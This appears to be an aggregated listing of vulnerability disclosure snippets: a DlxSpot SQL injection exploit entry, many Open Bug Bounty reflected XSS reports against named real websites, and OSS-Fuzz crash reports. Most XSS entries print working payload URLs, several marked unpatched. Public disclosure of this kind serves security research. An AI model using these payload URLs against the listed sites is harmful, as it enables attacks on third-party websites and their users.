Tecnovision DLX Spot - Authentication Bypass

Exploit Title: DlxSpot - Player4 LED video wall - Admin Interface SQL Injection Google Dork: "DlxSpot - Player4" Date: 2017-05-14 Discoverer: Simon Brannstrom Authors Website: https://unknownpwn.github.io/ Vendor Homepage: http://www.tecnovision.com/ Software Link: n/a Version: 1.5.10 Tested on:...

nkchs.edu.bd XSS vulnerability

Vulnerable URL: http://nkchs.edu.bd/?p=result-search=%3Cimg+src%3Dx+onerror%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3E=1=GO Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 20:49 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

onlineappointmentscheduling.net.au XSS vulnerability

Vulnerable URL: http://onlineappointmentscheduling.net.au/?s=%27;alert/XSSPOSED///%27;alert/XSSPOSED///%22;alert/XSSPOSED///%22;alert/XSSPOSED///--%3E%3C/sCRipT%3E%22%3E%27%3E%3CsCRipT%3Ealert/XSSPOSED/%3C/sCRipT%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:|...

calendar.vmi.edu XSS vulnerability

Vulnerable URL: http://calendar.vmi.edu/Details.asp?Edate=3/6/2016=106465=1%22--!%3E%3CSvg/Onload=confirmOPENBUGBOUNTY%3E%22= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown...

verkostungsnotizen.net XSS vulnerability

Vulnerable URL: http://www.verkostungsnotizen.net/redir.php?VID=25504=http://xssposed.org Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status...

hanwharesort.net XSS vulnerability

Vulnerable URL: http://hanwharesort.net/yeyak/yeyak1.html?goodsno=947%20class=%22%3E%3Cscript%3E%20alert%27XSSPOSED%27%20%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank...

acelf.ca XSS vulnerability

Open Bug Bounty ID: OBB-236570 Description| Value ---|--- Affected Website:| acelf.ca Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

libreoffice: Heap-buffer-overflow in ImplSearchEntry

Project: git://anongit.freedesktop.org/libreoffice/core Detailed report: https://oss-fuzz.com/testcase?key=4841213947543552 Project: libreoffice Fuzzer: libFuzzerlibreofficeepsfuzzer Fuzz target binary: epsfuzzer Job Type: libfuzzerasanlibreoffice Platform Id: linux Crash Type: Heap-buffer-overfl...

de.touch-times.com XSS vulnerability

Open Bug Bounty ID: OBB-235790 Description| Value ---|--- Affected Website:| de.touch-times.com Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

baukammerberlin.de XSS vulnerability

Vulnerable URL: http://www.baukammerberlin.de/suche/%22%3E%3Cimg%20src=x%20onerror=prompt%22OPENBUGBOUNTY%22%3E/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 6782416 VIP website...

portals.broadinstitute.org XSS vulnerability

Vulnerable URL: https://portals.broadinstitute.org/portal/GAPPortal/security/Security.action?logout==For%20data%20security%22%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3E%20reasons,%20you%20have%20been%20signed%20out%20from%20your%20account%20from%20inactivity,%20please%20sign%20in%20again. Details:...

sandiego.gov XSS vulnerability

Vulnerable URL: https://www.sandiego.gov/sites/default/files/legacy/coo/2016highlights/bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnT1BFTiBCVUdCT1VOVFknKTwvc2NyaXB0Pg==&cfwaftk=042437002UjFXxFQ2VsadXjZGy4EHwOwvPBs Details: Description| Value ---|--- Patched:| No Latest...

riversideca.gov XSS vulnerability

Vulnerable URL: http://www.riversideca.gov/parkrec/activityguidepast/bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnT1BFTiBCVUdCT1VOVFknKTwvc2NyaXB0Pg== Details: Description| Value ---|--- Patched:| No Latest check for patch:| 04.08.2017 Vulnerability type:| XSS...

harfbuzz: Index-out-of-bounds in OT::ContextFormat3::sanitize

Project: https://github.com/harfbuzz/harfbuzz.git Detailed report: https://oss-fuzz.com/testcase?key=4769173588672512 Project: harfbuzz Fuzzer: libFuzzerharfbuzzhb-fuzzer Fuzz target binary: hb-fuzzer Job Type: libfuzzerubsanharfbuzz Platform Id: linux Crash Type: Index-out-of-bounds Crash Addres...

pay-me.ir XSS vulnerability

Vulnerable URL: http://pay-me.ir/direct.php?card=5=1%22%3E%3Cscript%3Ealert%28/XSSPOSED/%29%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 5554035 VIP website status:|...

cs.adelaide.edu.au XSS vulnerability

Vulnerable URL: https://cs.adelaide.edu.au/tjchin%22'--!%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3E/doku.php/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated...

belial.fr XSS vulnerability

Open Bug Bounty ID: OBB-233438 Description| Value ---|--- Affected Website:| belial.fr Open Bug Bounty Program:| View Open Bug Bounty Program Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N...

rajapack.se XSS vulnerability

Vulnerable URL: http://www.rajapack.se/is-bin/INTERSHOP.enfinity/WFS/RAJA-SE-Site/svSE/-/EUR/ViewNewsletter-ShowRegistered?newsletterEmailFooter= Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 19:57 GMT Vulnerability type:| XSS Vulnerability...

study.une.edu.au XSS vulnerability

Vulnerable URL: http://study.une.edu.au/ci/fattach/get/2726756/1494127359/filename/svgxss.svg Details: Description| Value ---|--- Patched:| No Latest check for patch:| 21.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...

epson.com.au XSS vulnerability

Vulnerable URL: http://www.epson.com.au/search.asp Details: Description| Value ---|--- Patched:| Yes, at 27.09.2017 Latest check for patch:| 27.09.2017 23:04 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 113645 VIP website status:| No Check epson.com.au SSL...